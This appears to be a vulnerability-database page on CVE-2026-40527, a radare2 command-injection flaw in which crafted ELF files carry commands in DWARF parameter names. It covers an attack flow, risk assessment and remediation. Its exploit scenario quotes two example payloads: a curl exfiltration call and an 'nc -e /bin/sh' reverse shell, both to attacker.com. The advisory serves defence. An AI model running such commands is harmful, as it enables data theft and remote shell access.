Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft ELF with malicious DWARF parameter names
-
DeliveryDistribute to target analyst
-
ExploitVictim opens binary in radare2
-
InstallVictim runs 'aaa' analysis
-
C2Victim executes 'afsvj' command
-
ExecuteDWARF parser extracts unsanitized names
-
ImpactCommand injection via pfq interpolation
-
Step 8Arbitrary shell command execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must craft an ELF binary with malicious r2 command sequences embedded in DWARF DW_TAG_formal_parameter name fields. Victim must open this crafted binary in radare2 and execute the specific command sequence: 'aaa' (analyze all functions) followed by 'afsvj' or 'afsv' (analyze function signature view). Exploitation is limited to users who analyze untrusted binaries with DWARF debugging information enabled and actively use radare2's function signature analysis features. Does not affect users who only perform basic disassembly without DWARF parsing or those who strip debug symbols before analysis. The UI:R and PR:N vector indicates no authentication is needed, but user interaction (opening binary and running analysis commands) is mandatory. Exploitation scope is confined to the radare2 process context - no privilege escalation beyond the user's existing permissions. |
| Impact | Real-world risk is MODERATE despite the 7.8 CVSS score. Attack vector is local (AV:L) requiring the victim to open a malicious binary and execute specific analysis commands (aaa + afsvj), which significantly constrains exploitation scenarios compared to remote vulnerabilities. The UI:R (user interaction required) factor means this is not wormable or mass-exploitable. However, impact is severe (C:H/I:H/A:H) with full shell command execution at the privileges of the radare2 process. Primary risk scenarios: (1) malware analysts examining untrusted binaries in research environments, (2) supply chain attacks where malicious binaries are planted in repositories developers might analyze, (3) targeted attacks against security researchers. Not in CISA KEV suggests no widespread exploitation. Patch is available with exact commit reference (bc5a890), reducing remediation complexity. EPSS score unavailable but likely low given local attack vector and niche target audience. This is a targeted exploitation risk for reverse engineering workflows rather than enterprise-wide threat. Attack complexity is low (AC:L) once the attacker understands radare2's DWARF parsing, but weaponization requires binary crafting knowledge. |
| Exploit ScenarioDerived | An attacker crafts a malicious ELF binary embedding shell commands (e.g., 'curl attacker.com/exfil?data=$(whoami)' or 'nc -e /bin/sh attacker.com 4444') within DWARF DW_TAG_formal_parameter name fields. A security researcher or malware analyst downloads this binary (disguised as legitimate sample or planted via supply chain compromise) and opens it in radare2. When the analyst runs standard analysis workflow commands 'aaa' (analyze all) followed by 'afsvj' (function signature JSON output), radare2's DWARF parser extracts the malicious parameter names and interpolates them unsanitized into pfq command strings, triggering shell command execution with the analyst's privileges. Publicly available exploit code has not been confirmed, but the VulnCheck advisory provides sufficient technical details for skilled attackers to reproduce. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 17, 2026
Command injection in radare2's DWARF parsing (afsv/afsvj commands) allows local attackers to execute arbitrary shell commands by embedding malicious r2 command sequences in specially crafted ELF binaries. When a user opens the malicious binary and runs analysis commands (aaa followed by afsvj), unsanitized DW_TAG_formal_parameter names are interpolated into pfq command strings, triggering code execution. Fixed in commit bc5a890. EPSS data not available, not in CISA KEV. Publicly disclosed with patch and technical details from VulnCheck.
RemediationAI
Update radare2 to commit bc5a89033db3ecb5b1f7bf681fc6ba4dcfc14683 or later from the official repository at https://github.com/radareorg/radare2. Users can apply the patch directly from pull request 25821 (https://github.com/radareorg/radare2/pull/25821). If immediate patching is not feasible, implement these compensating controls with trade-offs: (1) Avoid running afsv/afsvj commands on untrusted binaries - limits DWARF-based function signature analysis capabilities but prevents exploitation; (2) Strip DWARF sections from binaries before analysis using 'strip --strip-debug' - removes debugging symbols entirely, significantly reducing reverse engineering effectiveness; (3) Run radare2 in sandboxed environments (containers, VMs) with restricted shell access when analyzing untrusted samples - adds operational overhead but contains potential command execution impact; (4) Disable shell command execution features in radare2 configuration if supported - may break legitimate automation workflows that rely on shell integration. The patch itself sanitizes parameter name strings before interpolation into command contexts. No known side effects from the fix.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Radare2 is an open-source reverse engineering framework for binary analysis. This vulnerability exploits the DWARF debugging information parser, specifically how radare2 processes DW_TAG_formal_parameter entries (function parameter metadata) in ELF binaries. The afsv/afsvj commands generate function signature views by reading parameter names from DWARF data and interpolating them into pfq (print formatted query) command strings without proper sanitization. The pfq command appears to support shell command expansion, creating a command injection vector. CWE-78 (OS Command Injection) occurs when external data flows into system command execution contexts without validation. The affected component is radare2's DWARF parser in combination with the function signature analysis subsystem.
Know when Radare2 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
3DescriptionCVE.org
radare2 prior to commit bc5a890 contains a command injection vulnerability in the afsv/afsvj command path where crafted ELF binaries can embed malicious r2 command sequences as DWARF DW_TAG_formal_parameter names. Attackers can craft a binary with shell commands in DWARF parameter names that execute when radare2 analyzes the binary with aaa and subsequently runs afsvj, allowing arbitrary shell command execution through the unsanitized parameter interpolation in the pfq command string.
Executive ViewAI
CVE-2026-40527 is a command injection vulnerability in radare2's DWARF parsing that allows local attackers to execute arbitrary commands through malicious ELF binaries. Any user who opens a crafted binary and runs standard analysis commands (aaa/afsvj) can be compromised, affecting security researchers, reverse engineers, and development teams relying on radare2 for binary analysis.
Apply vendor patch. If patching is delayed: (1) restrict radare2 analysis to isolated, non-network-connected systems; (2) disable or sandbox radare2 execution in shared development environments; (3) implement file integrity monitoring on systems running radare2; (4) require security review of ELF binaries before analysis in trusted tools.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32 function of libr/arch/p/nds32/nds32-dis.h
An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32_fpu function of libr/arch/p/nds32/nds32-d
Heap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.9.0. Rated critical severity (CVSS 9.8), th
OS command injection in radare2-mcp (the Model Context Protocol server that bridges the radare2 reverse-engineering fram
Out-of-bounds Read in GitHub repository radareorg/radare2 prior to 5.7.0. Rated critical severity (CVSS 9.1), this vulne
Out-of-bounds Read in r_bin_ne_get_entrypoints function in GitHub repository radareorg/radare2 prior to 5.6.8. Rated cri
Out-of-bounds read in `r_bin_ne_get_relocs` function in GitHub repository radareorg/radare2 prior to 5.6.8. Rated critic
Heap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.9.0. Rated high severity (CVSS 8.8), this v
Command injection in radare2's PDB parser (versions <6.1.4) enables arbitrary command execution when analysts process ma
Command injection in radare2 PDB parser (versions before 6.1.4) enables arbitrary OS command execution when users analyz
In radare 2.0.1, a memory corruption vulnerability exists in store_versioninfo_gnu_verdef() and store_versioninfo_gnu_ve
In radare2 2.0.1, an integer exception (negative number leading to an invalid memory access) exists in store_versioninfo
EUVD-2026-23534
GHSA-4pc8-6qgf-fgv2
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB